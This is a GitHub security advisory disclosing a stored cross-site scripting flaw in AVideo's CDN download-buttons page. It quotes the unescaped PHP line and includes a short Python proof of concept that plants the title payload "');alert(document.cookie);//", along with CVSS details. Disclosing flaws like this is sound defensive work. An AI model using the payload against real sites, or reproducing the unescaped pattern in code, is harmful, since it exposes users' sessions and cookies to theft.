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AVideo Affected by Stored XSS via Unescaped Video Title in CDN downloadButtons.php

High severity GitHub Reviewed Published Mar 18, 2026 in WWBN/AVideo • Updated Mar 25, 2026

Package

composer wwbn/avideo (Composer)

Affected versions

<= 25.0

Patched versions

None

Description

Summary

WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The clean_title field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page.

Details

At line 59 of the affected file, the following PHP code constructs a JavaScript function call:

downloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress);

The clean_title value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with json_encode or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The clean_title field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges.

PoC

import requests

target = "https://example.com"
login_url = f"{target}/user"
upload_url = f"{target}/video/addNew"

session = requests.Session()

session.post(login_url, data={
    "user[user]": "attacker",
    "user[pass]": "attackerpassword"
})

malicious_title = "');alert(document.cookie);//"

session.post(upload_url, data={
    "title": malicious_title,
    "description": "poc"
})

After the video is created, navigate to:

https://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID>

The rendered page will contain:

downloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress);

Impact

Any user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.

References

@DanielnetoDotCom DanielnetoDotCom published to WWBN/AVideo Mar 18, 2026
Published to the GitHub Advisory Database Mar 19, 2026
Reviewed Mar 19, 2026
Published by the National Vulnerability Database Mar 22, 2026
Last updated Mar 25, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-33295

GHSA ID

GHSA-gc3m-4mcr-h3pv

Source code

Credits

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